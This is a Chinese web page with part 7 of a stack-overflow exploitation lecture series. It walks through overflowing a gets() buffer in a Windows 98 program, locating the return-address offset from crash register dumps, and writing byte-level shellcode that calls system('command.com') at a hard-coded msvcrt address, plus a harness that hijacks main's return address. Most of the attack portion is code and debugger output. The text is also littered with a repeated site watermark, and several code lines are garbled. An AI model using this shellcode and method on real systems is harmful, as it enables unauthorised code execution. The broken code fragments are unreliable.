当前位置:中国易下载软件教材中心文章中心黑客技术解密破解 → 堆栈溢出系列讲座(7)

堆栈溢出系列讲座(7)

减小字体 增大字体 作者:佚名  来源:不详  发布时间:2007-8-20 16:30:59
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
喜欢这些内容嘛,请告诉你身边的朋友,易下载中心-QQ资源-itnetcn.com一起享受这份乐趣,本站内容来源互联网
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

 window系统下的堆栈溢出--原理篇 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
堆栈溢出漏洞Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
让我们从头开始。windows 98第二版 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
首先,我们来写一个问题程序: Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
int main() Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
{ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 char name[32]; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 gets(name); Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 for(int i=0;i<32;;name[i];i++) Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 printf("\\0x%x",name[i]); Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
} Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程序 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
一个很长的串,肯定可以覆盖堆栈中的返回地址。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
\0x61 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
\0x61 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点击 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我们。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏移 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
位置。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
12345678910111213141516171819202122232425262728293031323334353637383940 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
\0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0x32 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
\0x31 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
\0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0x30 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
\0x32 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细信息 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
按钮,下面是详细信息: Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
VUNERABLE 在 00de:32363235 的模块 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
<未知> 中导致无效页错误。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Registers: Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
ECX=00000020 DS=0187 ESI=816bffcc FS=11df Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
EDX=00411a68 ES=0187 EDI=00000000 GS=0000 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Bytes at CS:EIP: Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Stack dump: Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
32383237 33303339 33323331 33343333 33363335 33383337 c0000005 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
0064ff68 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
bff8b86c Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计算 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name变量 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的shellcode。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始地址 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
是多少呢? Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在windows Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址都 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
是相同的。也就是说,每次运行,name的地址都是0x64fdd4。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检测, Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
OK,万事具备,只差shellcode了。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一个 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
dos窗口,这样在这个窗口下,我们就可以作很多事情。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
开一个dos窗口的程序如下: Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
typedef void (*MYPROC)(LPTSTR); Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
int main() Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
{ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 HINSTANCE LibHandle;Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 MYPROC ProcAdd; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 char dllbuf[11]= "msvcrt.dll"; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 char sysbuf[7] = "system"; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 char cmdbuf[16] = "command.com"; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 LibHandle = LoadLibrary(dllbuf); Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf); Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 (ProcAdd) (cmdbuf); Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 return 0; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
} Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说, Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
windows通过动态链接库来提供系统函数。这就是所谓的Dll's。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一个 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由msvcrt.dll Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地址 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上, Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接库 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle,system) Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
获得 system的真实地址。之后才能使用这个真实地址来调用system函数。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
好了,现在可以编译执行,结果正确,我们得到了一个dos框。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
现在对这个程序进行调试跟踪汇编语言,可以得到: Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
15: LibHandle = LoadLibrary(dllbuf); Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
00401075 lea edx,dword ptr [dllbuf] Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
00401078 pushedx Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
00401079 calldword ptr [__imp__LoadLibraryA@4(0x00416134)] Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
0040107F mov dword ptr [LibHandle],eax Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
16: Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf); Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
00401082 lea eax,dword ptr [sysbuf] Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
00401085 pusheax Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
00401086 mov ecx,dword ptr [LibHandle] Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
00401089 pushecx Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
0040108A calldword ptr [__imp__GetProcAddress@8(0x00416188)] Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
00401090 mov dword ptr [ProcAdd],eax Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 ;现在,eax的值为0x78019824就是system的真实地址。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 ;这个地址对于我的机器而言是唯一的。不用每次都找了。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
18: Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
19: (ProcAdd) (cmdbuf); Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
00401093 lea edx,dword ptr [cmdbuf] Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 ;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
00401096 pushedx Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
00401097 calldword ptr [ProcAdd] Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
0040109A add esp,4 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代码 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
是否能够像我们设计的那样工作: Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
void main() Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
{ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
LoadLibrary("msvcrt.dll"); Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
__asm { Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
mov esp,ebp ;把ebp的内容赋值给esp Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
push ebp;保存ebp,esp-4 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
mov ebp,esp ;给ebp赋新值,将作为局部变量 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
的基指针 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
xor edi,edi ; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
push edi;压入0,esp-4, Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
;作用是构造字符串的结尾\0字符 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
sub esp,08h ;加上上面,一共有12个字节,Zeq海岸线网络安全资讯站
;用来放"command.com"。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
mov byte ptr [ebp-0ch],63h; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
mov byte ptr [ebp-0bh],6fh; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
mov byte ptr [ebp-0ah],6dh; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
mov byte ptr [ebp-09h],6Dh; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
mov byte ptr [ebp-08h],61h; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
mov byte ptr [ebp-07h],6eh; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
mov byte ptr [ebp-06h],64h; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
mov byte ptr [ebp-05h],2Eh; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
mov byte ptr [ebp-04h],63h; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
mov byte ptr [ebp-03h],6fh; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
mov byte ptr [ebp-02h],6dh;生成串"command.com". Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
lea eax,[ebp-0ch] ; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
push eax;串地址作为参数入栈 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
mov eax, 0x78019824 ; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
call eax;调用system Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
} Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
} Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起了 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
当年用286的时候了? Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我们的 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
程序已经把堆栈指针搞乱了。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
对上面的算法进行优化,现在我们可以写出shellcode如下: Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
char shellcode[] = { Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x8B,0xE5,/*mov esp, ebp */ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x55, /*push ebp */ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x8B,0xEC,/*mov ebp, esp */ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x83,0xEC,0x0C, /*sub esp, 0000000C*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x33,0xD2,/*xor edx, edx */ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x50, /*push eax */ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0xFF,0xD0 /*call eax */ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
}; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
shellcode: Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
char shellcode[] = { Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x8B,0xE5,/*mov esp, ebp */ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x55, /*push ebp */ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x8B,0xEC,/*mov ebp, esp */ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x83,0xEC,0x0C, /*sub esp, 0000000C*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63*/Zeq海岸线网络安全资讯站
 0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x33,0xD2,/*xor edx, edx */ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0x50, /*push eax */ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824*/ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 0xFF,0xD0 /*call eax */ Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
}; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
int main() { Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
int *ret; Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
LoadLibrary("msvcrt.dll"); Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
ret = (int *);ret + 2; //ret 等于main()的返回地址 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 //(+2是因为:有push ebp ,否则加1就可以了。) Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地址。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
} Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
编译运行,得到dos对话框。 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆栈溢出 Zeq海岸线网络安全资讯站
Zeq海岸线网络安全资讯站
的能力了,下面,我们通过实战来真正掌握他。